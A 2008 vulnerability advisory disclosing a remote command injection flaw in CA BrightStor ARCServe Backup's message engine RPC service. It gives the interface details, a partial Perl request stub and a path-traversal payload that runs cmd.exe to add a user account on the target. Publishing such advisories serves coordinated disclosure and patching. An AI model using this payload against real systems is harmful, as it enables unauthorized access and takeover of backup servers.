CA BrightStor ARCServe BackUp Message Engine Remote Command Injection Vulnerability Oct 11 2008 12:43AM
cocoruder (cocoruder gmail com)
CA BrightStor ARCServe BackUp Message Engine Remote Command Injection

by cocoruder(frankruder_at_hotmail.com)


CA BrightStor ARCServe BackUp is an overall data backup solution.
The RPC interface of CA BrightStor ARCServe BackUp does not handle
user's input exactly that allows anonymous attacker to inject any
command, a remote code execution attack may achieved through this way.

Affected Software Versions:

CA BrightStor ARCServe BackUp R11.5


Service named "CA BrightStor Message Engine" (Process Name:
msgeng.exe) registers a RPC interface which is listening on TCP port
6504, following is some related information:

UUID : 506b1890-14c8-11d1-bbc3-00805fa6962e
Version : 1.0
Listen Port : 6504

Remarkably, we can access this interface anonymously via
"ncacn_ip_tcp". The following is the IDL of the function of opnum

/* opcode: 0x156, address: 0x28EB1C00 */
long sub_28EB1C00 (
[in] handle_t arg_1,
[in][string] char * arg_2,
[in][string] char * arg_3,
[in][string] char * arg_4,
[in][string] char * arg_5,
[in] long arg_6,
[in][size_is(arg_1)] char * arg_7,
[in] long arg_8,
[in, out] long * arg_9,
[out][size_is(*arg_9)] char ** arg_10

Following is the normal stub of this function:

my $stub=
"\x10\x00\x00\x00\x00\x00\x00\x00". #should equal to remote computer name

"\x08\x00\x00\x00\x00\x00\x00\x00". #will run "aaa.exe"

"\x81\x00\x00\x00\x00\x00\x00\x00". #arg_4

"\x01\x00\x00\x00". #arg_5

"\xce\x00\x00\x00". #arg_6


First, the first parameter (victim's computer name) should equal
to the real computer name. Second, when we change the string "aaa.exe"
such as "../aaa.exe", it will bypass the current directory, if the
program has been installed by default, transferring the following
string will reach the "cmd.exe" and add an user with
"CCC"/"ZZZ"(username/password) on the affected system:

../../../../../../../..//winnt//system32//cmd.exe /c \"net user
CCC ZZZ /add\" ||


CA has released a bulletin as well as a patch for this
vulnerability which can be found at:


CVE Information:


Disclosure Timeline:

2008.01.07 Vendor notified
2008.01.08 Vendor responded
2008.10.09 Coordinated public disclosure


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